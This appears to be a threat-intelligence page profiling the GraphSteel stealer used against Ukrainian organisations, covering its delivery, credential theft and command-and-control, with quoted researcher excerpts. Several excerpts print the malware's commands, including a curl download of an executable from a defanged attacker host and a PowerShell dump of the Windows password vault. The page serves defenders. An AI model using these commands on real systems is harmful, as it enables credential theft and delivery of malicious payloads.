Loading malware…
GraphSteel is a Go-based information stealer for Windows that serves as the client component of the Elephant malware framework. Also described as a backdoor, it supports credential theft, host reconnaissance, command execution, and file exfiltration. It is associated with UAC-0056, also tracked as Ember Bear, SaintBear, UNC2589, and TA471, and has been deployed in cyberespionage campaigns against Ukrainian government organizations and other Ukrainian entities, including media organizations.
GraphSteel collects host information such as the hostname, username, and IP address. Its credential collection targets browsers, Wi-Fi profiles, Windows credential stores and password vaults, mail accounts, and applications including PuTTY and FileZilla. It incorporates credential-recovery code from goLazagne and searches user folders and drives for documents, archives, certificates, key files, and configuration data. File hashes are used to identify newly collected files for upload. Command-and-control and exfiltration use GraphQL over WebSockets, with AES-encrypted messages and Base64 encoding.
Observed delivery chains use spear-phishing emails containing macro-enabled Excel attachments or links to fake antivirus and security updates. Other deployments disguise the initial executable as translation software. Multistage dropper and downloader components retrieve GraphSteel, commonly alongside the GrimPlant backdoor, and establish persistence through Windows autorun configuration. GraphSteel provides the framework's credential and document collection functionality, while GrimPlant supplies complementary remote-control capabilities.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
GraphSteel exfiltrates information about the infected system, files from various folders and drives, and credentials from various sources.
The last payload that the researchers detailed is named elephant_client by the actor. It is also tracked as the GraphSteel backdoor. This final payload is a data stealer, the researchers say.
28 distinct techniques documented for this family, organized by ATT&CK tactic.
The emails were themed as “critical security updates” and contained links to download a fake AV update package.
The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise recipients to download "critical security updates," which come in the form of a 60 MB file named "BitdefenderWindowsUpdatePackage.exe."
in this campaign the threat actor is using a spear-phishing attack that contains macro-embedded Excel documents
У тілі листа знаходиться посилання на веб-сайт hxxps://forkscenter[.]fr/, з якого пропонується завантажити "критичні оновлення"
The capabilities of the two tools cover network reconnaissance, command execution, and file operations... Execute commands... Execute commands received remotely and return results to C2
powershell /Q /C -encodedCommand ... [Windows.Security.Credentials.PasswordVault ... RetrieveAll() ... Select UserName, Resource, Password
C:\Windows\System32\cmd.exe /C cd %USERPROFILE%\AppData\Local\Temp\ & curl -O hxxps://forkscenter[.]fr/Sdghrt_umrj6/wisw.exe
When a victim downloads and run this fake BitDefender Windows update... this 'update' actually downloads and installs the one.exe file... which is a Cobalt Strike beacon.
The phishing email contained a Word document that, when Macros were enabled, dropped the Black Energy malware to disk.
This file adds a new Windows registry key for persistence
This file adds a new Windows registry key for persistence
EXE-файли (завантажувачі з Discord) захищено протектором Themida ... завантаження, base64-декодування
All executables in the campaign are packed on the Themida tool, which protects them from reverse engineering, detection, and analysis.
The phishing emails impersonate Ukrainian government agencies... download "critical security updates," which come in the form of a 60 MB file named "BitdefenderWindowsUpdatePackage.exe."
The actor steals data from these services: Browser credentials, Wi-Fi information, Credentials manager data, Mail accounts, Putty connections data and Filezilla credentials.
gets the IP address of the machine by making a request to https://api.ipify.org/
GraphSteel features: Gather hostname, username, and IP address information... GrimPlant capabilities: Gather IP address, hostname, OS, username, home dir
The capabilities of the two tools cover network reconnaissance
the malware collects the hostname, OS name and number of CPUs in the system
cmd.exe /C cd / & dir /S > %USERPROFILE%\AppData\Local\Temp\Rsjdjfvj.txt
cmd /Q /C netsh wlan show profiles
Upon successful connection with its C2 server, it starts collecting data and exfiltrating it into the server.
Use WebSocket and GraphQL to communicate with C2 using AES and base64 encryption
Use WebSocket and GraphQL to communicate with C2 using AES and base64 encryption... Use gRPC (HTTP/2+SSL) for C2 communication
GraphSteel ... Для комунікації з сервером управління використовується WebSocket та GraphQL
Then, further payloads are downloaded from the attacker server in Base64 format.
UAC-0056 (Pandora hVNC, RemoteUtilities, GrimPlant, GraphSteel)
This allows the malware to encrypt all the data that is being sent to the C2 via gRPC
Upon successful connection with its C2 server, it starts collecting data and exfiltrating it into the server.
38 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.